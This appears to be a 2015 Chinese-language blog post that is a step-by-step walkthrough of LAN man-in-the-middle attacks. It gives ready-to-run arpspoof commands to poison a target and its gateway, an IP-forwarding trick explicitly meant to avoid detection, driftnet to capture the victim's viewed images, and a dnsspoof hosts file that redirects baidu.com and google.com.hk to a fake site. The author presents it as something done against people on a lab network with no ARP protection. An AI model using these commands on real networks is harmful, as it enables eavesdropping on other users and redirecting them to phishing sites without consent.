arpspoof dnsspoof中间人攻击

最近搞了一个监听神器,尽管使用了网卡混杂模式,不过监听到的几乎全是本地流量, 为了获取更多有用的数据,搞一下中间人攻击,最基本的就是arpspoof + IP转发,这样就可以获得局域网内任何人的上网流量, 难得的是实验室没有做ARP防护,给arpspoof一个大行其道的机会。

arpspoof

  1. 实战环境

  2. 攻击者(kali linux):10.10.10.1

  3. 攻击目标:10.10.10.2
  4. 默认网关:10.10.10.254

  5. 攻击步骤

首先在本地开启IP转发,否则很容易被发觉。

echo 1 >> /proc/sys/net/ipv4/ip_forward

用man arpspoof查看参数详细说明
首先跟10.10.10.2说我是网关10.10.10.254

arpspoof -i eth0 -t 10.10.10.2 10.10.10.254

然后跟网关10.10.10.254说我是10.10.10.2,完成双向欺骗

arpspoof -i eth0 -t 10.10.10.254 10.10.10.2

上面两条arpspoof指令可以用下面一个指令完成

arpspoof -i eth0 -t 10.10.10.2 -r 10.10.10.254

最后利用driftnet工具捕获并友好地显示10.10.10.2在网上浏览的图片

driftnet -i eth0

REF

dnsspoof

  1. 攻击环境

  2. 攻击者(kali linux):10.10.10.1

  3. 攻击目标:10.10.10.2
  4. 默认网关:10.10.10.254
  5. DNS服务器: 8.8.8.8
  6. 伪造网站: 10.10.10.3

  7. 攻击步骤

先进行arp欺骗,以中转攻击目标的所有上网流量

echo 1 >> /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.10.10.2 10.10.10.254
arpspoof -i eth0 -t 10.10.10.254 10.10.10.2

按照hosts文件格式,创建一个dnsspoof.hosts文件, 当受害者请求该文件中的域名解析时,我们就返回给他一个伪造的IP地址,让其访问我们伪造的网站。

cat dnsspoof.hosts
10.10.10.3 .baidu.com
10.10.10.3
.google.com.hk

执行dnsspoof, -f指定hosts文件,host 10.10.10.2 and udp port 53 遵从tcpdump流量过滤规则

dnsspoof -i eth0 -f dnsspoof.hosts host 10.10.10.2 and udp port 53

这样当攻击目标10.10.10.2访问baidu.com或者google.com.hk时,受害者访问的实际上是10.10.10.3指定的网站。

通过抓包分析,dnsspoof的原理如下

由于DNS协议使用是传输层协议是UDP协议, 这样无需像TCP那样建立连接就可以轻松的伪造应答包,包括源IP. 10.10.10.2发送DNS 查询包问DNS服务器www.baidu.com的IP地址是多少? 10.10.10.1装作DNS服务器(伪造IP)向攻击目标发送一个DNS响应包说www.baidu.com的IP地址是10.10.10.3。

posted @ 2015-09-21 17:03  孙悟坑  阅读(3224)  评论(0编辑  收藏  举报